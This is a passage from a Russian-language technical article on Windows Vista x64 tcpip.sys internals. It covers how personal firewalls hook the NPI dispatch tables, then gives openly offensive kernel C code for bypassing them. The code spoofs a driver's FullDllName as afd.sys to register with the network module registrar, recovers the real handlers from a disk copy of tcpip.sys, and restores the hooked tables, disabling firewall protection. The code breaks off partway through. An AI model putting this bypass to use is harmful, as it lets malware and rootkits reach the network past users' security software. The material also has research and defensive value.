	UdpTlProviderCloseEndpoint,
	UdpTlProviderIoControlEndpoint,
	TlDefaultRequestQueryDispatchEndpoint
};

PVOID UdpTlProviderMessageDispatch[4] = {
	UdpTlProviderCloseEndpoint,
	UdpTlProviderIoControlEndpoint,
	TlDefaultRequestQueryDispatchEndpoint,
	UdpTlProviderSendMessages
};

Последние таблицы относятся к Raw IP:

PVOID RawTlProviderDispatch[8] = {
	TlDefaultRequestIoControl,
	TlDefaultRequestQueryDispatch,
	RawTlProviderEndpoint,
	RawTlProviderMessage,
	TlDefaultRequestListen,
	TlDefaultRequestConnect,
	RawTlProviderReleaseIndicationList,
	TlDefaultRequestCancel
};

PVOID RawTlProviderEndpointDispatch[3] = {
	RawTlProviderCloseEndpoint,
	RawTlProviderIoControlEndpoint,
	TlDefaultRequestQueryDispatchEndpoint
};

PVOID RawTlProviderMessageDispatch[4] = {
	RawTlProviderCloseEndpoint,
	RawTlProviderIoControlEndpoint,
	TlDefaultRequestQueryDispatchEndpoint,
	RawTlProviderSendMessages
};

Ну, а ConnectDispatch таблиц у UDP и Raw IP понятное дело быть не может. Все TlDefaultXxx() обработчики импортируются из netio.sys, которые все сводятся к одной функции с единственным оператором return STATUS_NOT_IMPLEMENTED. Через эти таблицы проходят все вызовы системы, обращающиеся к TCP/IP стеку системы, очень удобно ухватиться за это место и регулировать обращения клиентов. Что фаерволлы и делают.

Когда клиент пытается подключиться к провайдеру, вызывается ProviderAttachClient() (в нашем случае это InetTlNotifyAttachClient()):

NTSTATUS
  ProviderAttachClient(
    IN HANDLE  NmrBindingHandle,
    IN PVOID  ProviderContext,
    IN PNPI_REGISTRATION_INSTANCE  ClientRegistrationInstance,
    IN PVOID  ClientBindingContext,
    IN CONST VOID  *ClientDispatch,
    OUT PVOID  *ProviderBindingContext,
    OUT CONST VOID  **ProviderDispatch
    );

Вызываемая функция InetTlNotifyAttachClient() возвращает указатель на одну из XxxTlProviderDispatch структур в *ProviderDispatch и соединение считается установленным. Теперь клиент может делать вызовы к стеку через его диспетчерские функции.

Персональные фаерволлы идут по пути afd.sys – т.е. регистрируются в качестве клиента tcpip.sys и перехватывают обработчики из таблиц XxxTlProviderXxxDispatch, но помимо недокументированности интерфейса, они имеют вышеупомянутую проблему – только afd.sys или tdx.sys могут быть зарегистрированы в качестве клиентов tcpip.sys. В Outpost Firewall 2008/2009, например, это решается посредством построения трамплина из десятка инструкций в неиспользуемой части драйвера afd.sys для успешного вызова NmrRegisterClient():

loc_1B59A:
movsxd  rax, edi
mov     ecx, 0FFFFFFF8h
lea     rdx, [rax+rax*4]
mov     r8d, [rbx+rdx*8+114h]
mov     r9d, [rbx+rdx*8+118h]
lea     rdx, a_textAddressXS ; ".text address: %#x  size: %#x\n"
add     r8, rsi
call    LogStub
and     [rsp+108h+var_E8], 0
lea     rbx, [r9+r8-0A8h]
mov     rcx, rbx        ; VirtualAddress
xor     r9d, r9d        ; ChargeQuota
xor     r8d, r8d        ; SecondaryBuffer
mov     edx, 0A8h       ; Length
call    cs:IoAllocateMdl
xor     edx, edx        ; AccessMode
lea     r8d, [rdx+1]    ; Operation
mov     rcx, rax        ; MemoryDescriptorList
mov     rdi, rax
call    cs:MmProbeAndLockPages
xor     r9d, r9d        ; BaseAddress
xor     r8d, r8d        ; CacheType
xor     edx, edx        ; AccessMode
mov     rcx, rdi        ; MemoryDescriptorList
mov     [rsp+108h+var_E0], 20h
and     dword ptr [rsp+108h+var_E8], 0
call    cs:MmMapLockedPagesSpecifyCache
lea     rcx, [rsp+108h+var_C8]
mov     rdx, rax
mov     r8d, 0A8h
mov     rsi, rax
call    DoSomethingEv0l
lea     rax, [rbx+33h]
mov     byte ptr [rsi], 4Ch
mov     [rsi+24h], rax
lea     rax, NmrRegisterClient
mov     byte ptr [rsi+1], 89h
mov     byte ptr [rsi+2], 44h
mov     byte ptr [rsi+3], 24h
mov     byte ptr [rsi+4], 18h
mov     [rsi+33h], rax
mov     byte ptr [rsi+5], 48h
mov     byte ptr [rsi+6], 89h
<...>
mov     byte ptr [rsi+32h], 0C3h
mov     byte ptr [rsi+3Bh], 0FFh
mov     byte ptr [rsi+3Ch], 25h
and     dword ptr [rsi+3Dh], 0
lea     rax, ClientAttachAfd
lea     rcx, [rsi+60h]
mov     [rsi+41h], rax
lea     rax, [rbx+3Bh]
lea     rdx, unk_4C120
mov     cs:off_4C128, rax
and     dword ptr [rsi+4Bh], 0
lea     rax, WskClientDetach
mov     [rsi+4Fh], rax
lea     rax, [rbx+49h]
mov     byte ptr [rsi+49h], 0FFh
mov     byte ptr [rsi+4Ah], 25h
mov     r8d, 48h
mov     cs:off_4C130, rax
call    DoSomethingEv0l
lea     rcx, [rbx+60h]
lea     r8, [rsp+108h+var_D8]
xor     edx, edx
call    rbx
test    eax, eax
jns     short loc_1B76C
lea     rdx, aFailedRegister ; "failed register nmr client with status:"...
mov     r8d, eax
mov     ecx, 0FFFFFFFEh
call    LogStub
jmp     short loc_1B776

А вот собственно и сам трамплин, результат составления его вереницей mov инструкций (на x86 он, понятное дело, другой):

mov      qword ptr [rsp+18h],r8
mov      qword ptr [rsp+10h],rdx
mov      qword ptr [rsp+8],rcx
sub      rsp,28h
mov      r8,qword ptr [rsp+40h]
mov      rdx,qword ptr [rsp+38h]
mov      rcx,qword ptr [rsp+30h]
mov      rax,offset afd!AfdTLErrorHandlerConnection+0x16b (fffffa60`0423318b)
call     qword ptr [rax]
add      rsp,28h
ret

Теперь Outpost может следить за вызовами к tcpip.sys и эффективно предотвращать доступ к сети нежелательным приложениям, а также руткитам, использующим TDI или WSK для сетевого взаимодействия. Разбираясь в вопросе год назад и уже написав эти строки с коварным разоблачением Outpost, внезапно наткнулся на довольно занятную запись: http://tarasc0.blogspot.com/2008/05/vista-beyond-tdi-3-60-60-60-60-60.html. Теперь понятно, откуда ноги растут. Ну а мы копнем глубже:

Waiting to reconnect...
Connected to Windows Vista 6001 x64 target, ptr64 TRUE
Kernel Debugger connection established.  (Initial Breakpoint requested)
Symbol search path is: D:\Symbols\x64\vista_sp1
Executable search path is: 
Windows Vista Kernel Version 6001 (Service Pack 1) MP (1 procs) Free x64
Product: WinNt, suite: TerminalServer SingleUserTS
Built by: 6001.18000.amd64fre.longhorn_rtm.080118-1840
Kernel base = 0xfffff800`01804000 PsLoadedModuleList = 0xfffff800`019c9db0

kd> lm m afw
start             end                 module name
fffffa60`026d5000 fffffa60`02718000   afw        (no symbols)     

kd> !chkimg -ss .rdata -d -p E:\OS\x64\vista_sp1 tcpip
    fffffa6000f82dc0-fffffa6000f82dc3  4 bytes - tcpip!RawTlProviderDispatch+10
	[ 90 d1 e6 00:fc 76 6e 02 ]
    fffffa6000f82dc8-fffffa6000f82dcb  4 bytes - tcpip!RawTlProviderDispatch+18 (+0x08)
	[ e0 cf e6 00:4c 7e 6e 02 ]
    fffffa6000f82df0-fffffa6000f82df3  4 bytes - tcpip!RawTlProviderEndpointDispatch (+0x28)
	[ 70 41 f7 00:04 7d 6e 02 ]
    fffffa6000f82e08-fffffa6000f82e0b  4 bytes - tcpip!RawTlProviderMessageDispatch (+0x18)
	[ 70 41 f7 00:04 7d 6e 02 ]
    fffffa6000f82f80-fffffa6000f82f83  4 bytes - tcpip!UdpTlProviderDispatch+10 (+0x178)
	[ 50 c8 ec 00:08 61 6e 02 ]
    fffffa6000f82f88-fffffa6000f82f8b  4 bytes - tcpip!UdpTlProviderDispatch+18 (+0x08)
	[ 40 7d ec 00:ec 70 6e 02 ]
    fffffa6000f82fb0-fffffa6000f82fb3  4 bytes - tcpip!UdpTlProviderEndpointDispatch (+0x28)
	[ d0 d9 ec 00:78 67 6e 02 ]
    fffffa6000f82fb8-fffffa6000f82fbb  4 bytes - tcpip!UdpTlProviderEndpointDispatch+8 (+0x08)
	[ b0 9e ec 00:84 6a 6e 02 ]
    fffffa6000f82fc8-fffffa6000f82fcb  4 bytes - tcpip!UdpTlProviderMessageDispatch (+0x10)
	[ d0 d9 ec 00:78 67 6e 02 ]
    fffffa6000f82fd0-fffffa6000f82fd3  4 bytes - tcpip!UdpTlProviderMessageDispatch+8 (+0x08)
	[ b0 9e ec 00:84 6a 6e 02 ]
    fffffa6000f82fe0-fffffa6000f82fe3  4 bytes - tcpip!UdpTlProviderMessageDispatch+18 (+0x10)
	[ 60 ce ea 00:c0 68 6e 02 ]
    fffffa6000f83210-fffffa6000f83213  4 bytes - tcpip!TcpTlProviderDispatch+10 (+0x230)
	[ 70 5b ec 00:40 15 6e 02 ]
    fffffa6000f83220-fffffa6000f83223  4 bytes - tcpip!TcpTlProviderDispatch+20 (+0x10)
	[ 20 b4 e8 00:b4 2c 6e 02 ]
    fffffa6000f83228-fffffa6000f8322b  4 bytes - tcpip!TcpTlProviderDispatch+28 (+0x08)
	[ 50 d2 ec 00:90 20 6e 02 ]
    fffffa6000f83230-fffffa6000f83233  4 bytes - tcpip!TcpTlProviderDispatch+30 (+0x08)
	[ 60 0d ec 00:4c 44 6e 02 ]
    fffffa6000f83238-fffffa6000f8323b  4 bytes - tcpip!TcpTlProviderDispatch+38 (+0x08)
	[ 80 86 f7 00:6c 42 6e 02 ]
    fffffa6000f83240-fffffa6000f83243  4 bytes - tcpip!TcpTlProviderEndpointDispatch (+0x08)
	[ 10 20 ec 00:90 1b 6e 02 ]
    fffffa6000f83248-fffffa6000f8324b  4 bytes - tcpip!TcpTlProviderEndpointDispatch+8 (+0x08)
	[ e0 99 ec 00:8c 1c 6e 02 ]
    fffffa6000f83258-fffffa6000f8325b  4 bytes - tcpip!TcpTlProviderListenDispatch (+0x10)
	[ 20 cf e8 00:f4 32 6e 02 ]
    fffffa6000f83278-fffffa6000f8327b  4 bytes - tcpip!TcpTlProviderConnectDispatch (+0x20)
	[ e0 93 ec 00:9c 2a 6e 02 ]
    fffffa6000f83290-fffffa6000f83293  4 bytes - tcpip!TcpTlProviderConnectDispatch+18 (+0x18)
	[ a0 51 ed 00:30 3d 6e 02 ]
    fffffa6000f83298-fffffa6000f8329b  4 bytes - tcpip!TcpTlProviderConnectDispatch+20 (+0x08)
	[ 70 02 ec 00:c4 3a 6e 02 ]
    fffffa6000f832a0-fffffa6000f832a3  4 bytes - tcpip!TcpTlProviderConnectDispatch+28 (+0x08)
	[ 40 8f ec 00:10 47 6e 02 ]
92 errors : tcpip (fffffa6000f82dc0-fffffa6000f832a3)

Имеем установленные перехваты в диспетчерских таблицах XxxTlProviderXxxDispatch tcpip.sys. В программном исполнении вопрос с перехватами решается предельно просто: нам необходимо прочитать оригинал tcpip.sys с диска и переписать секцию .rdata настоящими данными, не забывая о фиксе релоков, к тому же нужно иметь ввиду, что запись в .rdata запрещена настройками самой секции. Ну а мы же только из исследовательских побуждений поступим вот так:

kd> !chkimg -f -ss .rdata -p E:\OS\x64\vista_sp1 tcpip
Warning: Any detected errors will be fixed to what we expect!
92 errors (fixed): tcpip (fffffa6000f82dc0-fffffa6000f832a3)

Собственно, это все, что нужно, чтобы снести защиту персональных фаерволов такого типа.

Обход NPI фаерволлов

Теперь мы поняли, как добраться до самой сути и перехватить именно то, что нужно, чтобы получить полный контроль над прикладным ПО и незамысловатыми руткитами ядра, рвущимися в сеть. Как и всегда, эту информацию можно использовать в двух вариантах: при защите и при нападении. Далее речь пойдет о нападении, а точнее, о тактичном обходе этого вида защиты.

Вернемся к способу, основанному на построении трамплина из доверенного драйвера в функцию NmrRegisterClient(), а также мостов к обработчикам ClientAttachProvider() и ClientDetachProvider(). Чем плох этот метод? А вот чем:

  1. Патчинг системного драйвера в памяти. Фаервол будет работать до тех пор, пока этот драйвер не меняется. В новой ревизии ОС или при его возможном изменении есть риск получить BSoD.
  2. Привязка к определенной архитектуре процессора, приходится организовывать свой мост под каждую архитектуру процессора.

Код обхода разделен на две половины: первая часть отвечает за получение указателей на внутренние таблицы диспетчеризации; вторая осуществляет восстановление перехваченных обработчиков. Благодаря этому, у нас есть прекрасная возможность использовать настоящие обработчики таблиц XxxTlProviderXxxDispatch и делать вызовы к tcpip.sys напрямую, в обход фаерволлов, используя лишь первую часть кода.

При разработке средства для обхода NPI фаерволлов мы будем основываться на реакции NmrRegisterClient(), а точнее на реакции внутренней функции, которую она вызывает – NmprVerifyModule(). Данная функция сначала отыскивает модуль ядра, которому принадлежат переданные указатели на обработчики и только потом удостоверивается в том, что путь до этого модуля равен “\systemroot\system32\drivers\afd.sys”, “\systemroot\system32\drivers\tdx.sys” или “\systemroot\system32\drivers\tcpip.sys”. Логичнее было бы делать проверку наоборот – «а указывают ли переданные указатели в один из трех доверенных драйверов»? Разработчики netio.sys об этом не подумали. Используем эту особенность, подменив поле FullDllName структуры LDR_DATA_TABLE_ENTRY, которая описывает наш драйвер, на один из легитимных путей. После этого можно вызывать NmrRegisterClient() и регистрироваться в качестве клиента tcpip.sys, при этом быть уверенными в том, что netio.sys корректно зарегистрирует наш вызов. Следует помнить, что клиентами tcpip.sys могут стать лишь tdx.sys и afd.sys, поэтому пути следует выбирать соответствующие при выборе NPIID. Для начала следует получить указатели на ранее перечисленные таблицы диспетчеризации XxxTlProviderXxxDispatch драйвера tcpip.sys, чем и занимается функция GetTcpipDispatchTables():

NTSTATUS
NTAPI
  GetTcpipDispatchTables(
	__in  PLDR_DATA_TABLE_ENTRY		DriverEntry,
	__out PTL_DISPATCH_TABLES		DispatchTables
  )

Данная функция вызывается из DriverEntry() драйвера, которой передается указатель на структуру LDR_DATA_TABLE_ENTRY нашего драйвера, которую мы собираемся использовать, как было описано выше. Для начала подготовим структуру NPI_CLIENT_CHARACTERISTICS для подключения к провайдеру:

	NPI_MODULEID FakeModuleId = {
		sizeof(NPI_MODULEID),
		MIT_GUID,
		{0x01020304, 0x0506, 0x0708,
		{0x09, 0x0A, 0x0B, 0x0C, 0x0D, 0x0E, 0x0F, 0x10}}
	};

	NPI_CLIENT_CHARACTERISTICS ClientChars = {
		0, sizeof(NPI_CLIENT_CHARACTERISTICS), FakeClientAttachProvider, FakeClientDetachProvider, NULL,
		{0, sizeof(NPI_REGISTRATION_INSTANCE), &NPI_TRANSPORT_LAYER_ID, &FakeModuleId, 0, NULL}
	};

Указанный NPI_TRANSPORT_LAYER_ID говорит о том, что мы хотим подключиться к провайдеру, который поставляет услуги связи. В нашем случае это, конечно же, tcpip.sys. Перед регистрацией клиента притворимся afd.sys:

	UNICODE_STRING	OriginalFullDllName = {0};
…
	RtlCopyMemory(&OriginalFullDllName, &DriverEntry->FullDllName, sizeof(UNICODE_STRING));
	RtlInitUnicodeString(&DriverEntry->FullDllName, L"\\SystemRoot\\system32\\drivers\\afd.sys");

Теперь можно и регистрироваться:

	Status = NmrRegisterClient(&ClientChars, Dispatches, &hClientHandle);
	if (NT_SUCCESS(Status)) {
		NmrDeregisterClient(hClientHandle);
	} else {
		DbgPrint("GetTcpipDispatchTables(): NmrRegisterClient() failed with status 0x%08X\n", Status);
	}

После вызова NmrRegisterClient() FullDllName можно вернуть назад, подмена больше нигде не пригодится:

RtlCopyMemory(&DriverEntry->FullDllName, &OriginalFullDllName, sizeof(UNICODE_STRING));

Код, получающий указатели на XxxTlProviderDispatch таблицы, находится в обработчике FakeClientAttachProvider, который мы указали при составлении структуры NPI_CLIENT_CHARACTERISTICS:

static
NTSTATUS
NTAPI
  FakeClientAttachProvider(
    __in HANDLE NmrBindingHandle,
    __in PTL_DISPATCH_TABLES DispatchTables,
    __in PNPI_REGISTRATION_INSTANCE ProviderRegistrationInstance
    )

Данная функция вызывается NMR при вызове NmrRegisterClient() для каждого ModuleId, который зарегистрировал провайдер с данным NPIID, а это уже перечисленные NPI_MS_TCP_MODULEID, NPI_MS_UDP_MODULEID, NPI_MS_RAW_MODULEID. Данная информация передается в ProviderRegistrationInstance, чем мы и воспользуемся при получении указателей на таблицы:

	if (!memcmp(ProviderRegistrationInstance->ModuleId, &NPI_MS_TCP_MODULEID, sizeof(NPI_MODULEID)))
	{
		ASSERT( !DispatchTables->TcpTlProviderDispatch );

		// Get TcpTlProviderDispatch table

		Status = NmrClientAttachProvider(
			NmrBindingHandle, NULL, NULL, &ProviderContext, &DispatchTables->TcpTlProviderDispatch);
		if (!NT_SUCCESS(Status)) {
			KdPrint(("FakeClientAttachProvider(): NmrClientAttachProvider(TcpTlProviderDispatch) failed with status 0x%08X\n", Status));
		}
	}
	else if (!memcmp(ProviderRegistrationInstance->ModuleId, &NPI_MS_UDP_MODULEID, sizeof(NPI_MODULEID)))
	{
		ASSERT( !DispatchTables->UdpTlProviderDispatch );

		// Get UdpTlProviderDispatch table

		Status = NmrClientAttachProvider(
			NmrBindingHandle, NULL, NULL, &ProviderContext, &DispatchTables->UdpTlProviderDispatch);
		if (!NT_SUCCESS(Status)) {
			KdPrint(("FakeClientAttachProvider(): NmrClientAttachProvider(UdpTlProviderDispatch) failed with status 0x%08X\n", Status));
		}
	}
	else if (!memcmp(ProviderRegistrationInstance->ModuleId, &NPI_MS_RAW_MODULEID, sizeof(NPI_MODULEID)))
	{
		ASSERT( !DispatchTables->RawTlProviderDispatch );

		// Get RawTlProviderDispatch table

		Status = NmrClientAttachProvider(
			NmrBindingHandle, NULL, NULL, &ProviderContext, &DispatchTables->RawTlProviderDispatch);
		if (!NT_SUCCESS(Status)) {
			KdPrint(("FakeClientAttachProvider(): NmrClientAttachProvider(RawTlProviderDispatch) failed with status 0x%08X\n", Status));
		}
	}

Для того, чтобы получить непосредственный указатель на одну из таблиц диспетчеризации, нам необходимо вызвать функцию NmrClientAttachProvider(), конечный пункт которой – вызов InetTlNotifyAttachClient(), которая и возвращает указатель на таблицу. Эти указатели мы запоминаем и будем использовать дальше при восстановлении обработчиков на оригинальные.

Успешно получив указатели на XxxTlProviderDispatch таблицы, вызываем GetInternalTcpipDispatches(), которая получает указатели на оставшиеся таблицы XxxTlProviderXxxDispatch, а также указатели на их настоящие обработичики. Как уже было сказано, самый простой способ восстановления обработчиков – загрузка tcpip.sys с диска и перезапись всей секции .rdata оригинальными данными. Есть одно негласное правило при написании кода такого рода – чем меньше изменений мы привносим в систему, тем мы незаметнее (вполне возможны аналогичные изменениях в другой часть .rdata). Поэтому из этих побуждений, а еще и из-за исследовательского интереса, мы будем восстанавливать конкретные таблицы шаг за шагом. Эта практика, кстати, поможет немного разобраться в недокументированном TL (Transport Layer) интерфейсе tcpip.sys и эти знания могут быть использованы для написания собственного NPI клиента tcpip.sys.

Для загрузки копии tcpip.sys в память организована функция GetTcpip(), действия которой раскладываются в несколько этапов: получение базового адреса и размера модуля уже загруженного tcpip.sys; загрузка копии tcpip.sys с диска; маппинг секций; настройка релоков:

	UNICODE_STRING	TcpipDriverName = CONST_UNICODE_STRING(L"\\Driver\\tcpip");
	UNICODE_STRING	TcpipDriverPath = CONST_UNICODE_STRING(L"\\SystemRoot\\system32\\drivers\\tcpip.sys");
	MEMORY_CHUNK	FlatFile = {0};
	NTSTATUS		Status = STATUS_UNSUCCESSFUL;

	Status = GetDriverModuleInfo(&TcpipDriverName, &OriginalTcpip->Buffer, &OriginalTcpip->Size);
	if (!NT_SUCCESS(Status)) {
		KdPrint(("GetTcpip(): GetDriverModuleInfo(%wZ) failed with status 0x%08X\n", &TcpipDriverName, Status));
		return Status;
	}

	Status = GetFileData(&TcpipDriverPath, &FlatFile);
	if (!NT_SUCCESS(Status)) {
		KdPrint(("GetTcpip(): GetFileData(%wZ) failed with status 0x%08X\n", &TcpipDriverPath, Status));
		return Status;
	}

	Status = MapImage(&FlatFile, LoadedTcpip);
	FreeMemoryChunk(&FlatFile);

	if (!NT_SUCCESS(Status)) {
		KdPrint(("GetTcpip(): MapImage(%wZ) failed with status 0x%08X\n", &TcpipDriverPath, Status));
	}

Функция MapImage() делает всю нудную работу за нас – она удостоверивается в целостности модуля, располагает секции соответствующим образом в памяти и правит релокации. Следует учитывать то, что память, выделенная MapImage() – подкачиваемая и поэтому образ, спроецированный данной функцией, не может быть использован для запуска кода. Следует сделать правку в функции, чтобы она выделяла память из неподкачиваемого пула, тогда такой запуск будет возможен.

Работа функции GetInternalTcpipDispatchTables() разбита на 7 этапов:

  1. Получение настоящих (не перехваченных) обработчиков таблиц TcpTlProviderDispatch/ UdpTlProviderDispatch/ RawTlProviderDispatch
  2. Получение указателей на таблицы TcpTlProviderEndpointDispatch/ UdpTlProviderEndpointDispatch/ RawTlProviderEndpointDispatch, располагающихся в tcpip.sys
  3. Получение настоящих (не перехваченных) обработчиков таблиц TcpTlProviderEndpointDispatch / UdpTlProviderEndpointDispatch / RawTlProviderEndpointDispatch
  4. Получение указателей на таблицы TcpTlProviderListenDispatch/ TcpTlProviderConnectDispatch, располагающихся в tcpip.sys
  5. Получение настоящих (не перехваченных) обработчиков таблиц TcpTlProviderListenDispatch/ TcpTlProviderConnectDispatch
  6. Получение указателей на таблицы UdpTlProviderMessageDispatch/RawTlProviderMessageDispatch, располагающихся в tcpip.sys
  7. Получение настоящих (не перехваченных) обработчиков таблиц UdpTlProviderMessageDispatch / RawTlProviderMessageDispatch

Работа по нахождению настоящих обработчиков, которые перехвачены, довольно тривиальна и выполняется функцией GetRealTcpipDispatchTable():

static
NTSTATUS
  GetRealTcpipDispatchTable(
	__in  PMEMORY_CHUNK		OriginalTcpip,
	__in  PMEMORY_CHUNK		LoadedTcpip,
	__in  PVOID*			OriginalDispatchTable,
	__out PVOID*			RealDispatchTable,
	__in  ULONG				PointersCount
  )

По подсчитанному виртуальному смещению таблицы диспетчеризации, из загруженной копии tcpip.sys получаются указатели на обработчики и поправляются таким образом, чтобы они указывали в соответствующее место в оригинальном модуле. Довольно просто, с условием того, что мы имеем указатель на эту таблицу и таблица находится в пределах tcpip.sys. Данной функцией пользуются функции GetRealXxxTlProviderDispatch(), GetRealXxxTlProviderEndpointDispatch(), GetRealTcpDispatches(),GetRealMessageDispatches(), которые вызываются на этапах №1, №3, №5, №7 соответственно.

Куда более интересная жизнь наступает при необходимости получения указателей на таблицы XxxTlProviderEndpointDispatch/ TcpTlProviderListenDispatch/ TcpTlProviderConnectDispatch/ XxxTlProviderMessageDispatch. Указатели на эти таблицы можно получить только в том случае, если вы знакомы с внутренним интерфейсом tcpip.sys, который не документирован. Кажется, именно здесь придется применить весь талант реверс-инженера, о чем дальше и пойдет речь.

Внутренний интерфейс tcpip.sys

Каждый обработчик таблиц диспетчеризации tcpip.sys получает два параметра на вход и имеет следующий прототип:

typedef NTSTATUS (NTAPI* PROVIDER_DISPATCH) (
	__in PVOID	Endpoint,
	__in PTL_ENDPOINT_DATA	ProviderData
);

Структура TL_ENDPOINT_DATA определяется следующим образом:

typedef struct _TL_ENDPOINT_DATA {
	GET_DISPATCH	GetDispatch;
	PVOID			GetDispatchContext;
	PVOID			Flags;
	USHORT			Family;
#ifndef _AMD64_
	PVOID			Unk5;
#endif
	PEPROCESS		Process;
	PETHREAD		Thread;
	PVOID			Object;
	PSOCKADDR_IN	Addr1;
	PVOID			Unk10;
	PVOID			Unk11;
	PSOCKADDR_IN	Addr2;
	PVOID			Unk13;
	PVOID			Unk14;
	PVOID			Unk15;
	PVOID			Unk16;
…
} TL_ENDPOINT_DATA, *PTL_ENDPOINT_DATA;

Данная структура описывает т.н. «конечное подключение» к определенной сущности внутри tcpip.sys. Вызовы к данным «сущностям» похожи во многом на вызовы BSD sockets, и каждому отводится собственный набор обработчиков. Чтобы использовать определенный модуль tcpip.sys, мы должны получить указатель на таблицу со списком его обработчиков. Самый первый член структуры TL_ENDPOINT_DATA – указатель на callback функцию, которая вызывается в том случае, если наш вызов был успешно зарегистрирован. В таком случае tcpip.sys создает внутреннюю структуру, в которую копирует часть данных из TL_ENDPOINT_DATA и передает указатель на нее вместе с указателем на таблицу диспетчеризации этого модуля. Судя по всему, данный возвращаемый указатель следует интерпретировать лишь как безликий HANDLE, передавая его в качестве такового последующим обработчикам. Упомянутая callback функция имеет следующий прототип:

typedef NTSTATUS (NTAPI* GET_DISPATCH) (
	__in PVOID		Context,
	__in NTSTATUS	Status,
	__in PVOID		Endpoint,
	__in PVOID		DispatchTable
);

В параметре Context передается значение, указанное во втором члене структуры – GetDispatchContext, что очень удобно при возврате каких-либо данных. Указатель DispatchTable и есть ожидаемый указатель на таблицу диспетчеризации. Указатель Endpoint – это указатель на упомянутую выше внутреннюю структуру, которую выделяет и заполняет tcpip.sys, мы должны хранить этот указатель до момента разрыва связи. В результате исследования стало ясно, что следующие поля обязательны к заполнению:

  • Поле Family должно содержать одно из значений AF_XXX для успешного запуска обработчика TL_PROVIDER_DISPATCH.Endpoint
  • Поле Process должно указывать на EPROCESS клиентского процесса
  • Поле Thread должно указывать на ETHREAD клиентского потока
  • Поле Addr1 должно указывать на валидную структуру SOCKADDR_IN с корректным значением поля sin_family при вызовах TL_PROVIDER_DISPATCH.Listen и TL_PROVIDER_DISPATCH.Connect
  • Поле Addr2 должно указывать на валидную структуру SOCKADDR_IN с корректными значениями полей sin_family и sin_port (не ноль) при вызовах TL_PROVIDER_DISPATCH.Connect

Опытным путем установлено, что при Family=AF_INET, и с Process и Thread, указывающими на текущий процесс и поток, все замечательно работает. Остальные поля могут быть равны нулю, чем мы и воспользуемся при регистрации подключения. Строго говоря, желательно пройти путь реверса от начала до конца, чтобы на 100% быть уверенными в том, что все поля структуры верны. Особо дотошные непременно это осуществят, а нам хватит и того, что есть.

Для примера рассмотрим получение указателей на структуры XxxTlProviderEndpointDispatch функцией GetEndpointDispatches():

static
NTSTATUS
  GetEndpointDispatches(
	__inout PTL_DISPATCH_TABLES Dispatches
	)
{
	PROVIDER_DISPATCH_UNK1	DispatchUnk1 = {0};
	TL_ENDPOINT_DATA		EndpointData = {0};
	GET_DISPATCH_CONTEXT	GetDispatchContext = {0};
	NTSTATUS				Status = STATUS_UNSUCCESSFUL;

Заполняем необходимые поля структуры TL_ENDPOINT_DATA:

	EndpointData.GetDispatch		= GetDispatchCallback;
	EndpointData.GetDispatchContext	= &GetDispatchContext;
	EndpointData.Family				= AF_INET;
	EndpointData.Process			= PsGetCurrentProcess();
	EndpointData.Thread				= PsGetCurrentThread();

	GetDispatchContext.DispatchTable = &Dispatches->TcpTlProviderEndpointDispatch;
	GetDispatchContext.Endpoint = NULL;
	Dispatches->TcpTlProviderEndpointDispatch = NULL;

Callback представляет собой очень простую функцию:

static
NTSTATUS
NTAPI
  GetDispatchCallback(
	__in PGET_DISPATCH_CONTEXT	Context,
	__in NTSTATUS				Status,
	__in PVOID					Endpoint,
	__in PVOID					DispatchTable
)
{
	if (!Context || !Context->DispatchTable)
		return STATUS_INVALID_PARAMETER;

	Context->Endpoint = Endpoint;
	*Context->DispatchTable = DispatchTable;

	return STATUS_SUCCESS;
}

Регистрируем подключение:

	Status = Dispatches->RealTcpTlProviderDispatch.Endpoint(&DispatchUnk1, &EndpointData);
	if (!NT_SUCCESS(Status)) {
		KdPrint(("GetXxxTlProviderEndpointDispatch(): TcpTlProviderDispatch->Endpoint() failed with status 0x%08X\n", Status));
		return Status;
	}

После успешной регистрации подключения необходимо вызвать функцию разрыва связи, чтобы tcpip.sys мог освободить всю занятую им память (проблема не только в памяти, в случае неразрыва связи, в памяти останется висеть ETHREAD, указатель на который мы поместили в поле Thread). Видно, что для опроса tcpip.sys используется настоящий обработчик tcpip.sys, который был получен ранее. Этим мы избегаем фаерволлов, которые предпочтут выдавать указатель на свою таблицу со своими обработчиками. Отключаемся от tcpip.sys:

	if (GetDispatchContext.Endpoint) {
		Status = Dispatches->TcpTlProviderEndpointDispatch->CloseEndpoint(GetDispatchContext.Endpoint, NULL);
		if (!NT_SUCCESS(Status)) {
			KdPrint(("GetXxxTlProviderEndpointDispatch(): TcpTlProviderDispatch->CloseEndpoint() failed with status 0x%08X\n", Status));
		}
	}

Как уже стало заметно, сохраненный идентификатор подключения Endpoint передается первым параметром обработчику CloseEndpoint(), так производится корректный разрыв связи с «конечной точкой» подключения. Аналогичная операция производится для UdpTlProviderDispatch и RawTlProviderDispatch таблиц. При получении указателей на TcpTlProviderListenDispatch/ TcpTlProviderConnectDispatch/ XxxTlProviderMessageDispatch все происходит в той же очередности, разве что еще указываются необходимые Addr1 и Addr2 в соответствии требованиям, приведенным выше.

После того, как все указатели на таблицы внутри tcpip.sys, а также настоящие обработчики этих таблиц будут получены, можно приступать к их восстановлению. Другой вариант – полный реверс tcpip.sys, детальное понимание принципов работы интерфейса и написание собственного клиента, который будет иметь возможность работы с сетью в обход NPI фаерволлов. Мы же пойдем по пути меньшего сопротивления и просто восстановим все XxxTlProviderXxxDispatch таблицы. Данной работой занимается вторая часть кода.

Снятие NPI перехватов

Код восстановления XxxTlProviderXxxDispatch таблиц располагается в функции UnhookNPI() и разбит на 4 этапа:

  1. Восстановление обработчиков из XxxTlProviderDispatch таблиц
  2. Восстановление обработчиков из XxxTlProviderEndpointDispatch таблиц
  3. Восстановление обработчиков из TcpTlProviderListenDispatch и TcpTlProviderConnectDispatch таблиц
  4. Восстановление обработчиков из UdpTlProviderMessageDispatch и RawTlProviderMessageDispatch таблиц

Всю работу по восстановлению таблиц берет на себя функция RestoreTcpipDispatchTable():

static
NTSTATUS
  RestoreTcpipDispatchTable(
	__in  PMEMORY_CHUNK		OriginalTcpip,
	__in  PVOID*			OriginalDispatchTable,
	__in  PVOID*			RealDispatchTable,
	__in  ULONG				DispatchTableSize
  )

Функции передается описатель действующего модуля tcpip.sys, указатель на очередную таблицу, указатель на таблицу с настоящими обработчиками (указывающими в tcpip.sys) и размер данной таблицы. Сперва функция удостоверивается в том, что переданный указатель на таблицу действительно принадлежит tcpip.sys:

	if ((ULONG_PTR)OriginalDispatchTable < (ULONG_PTR)OriginalTcpip->Buffer ||
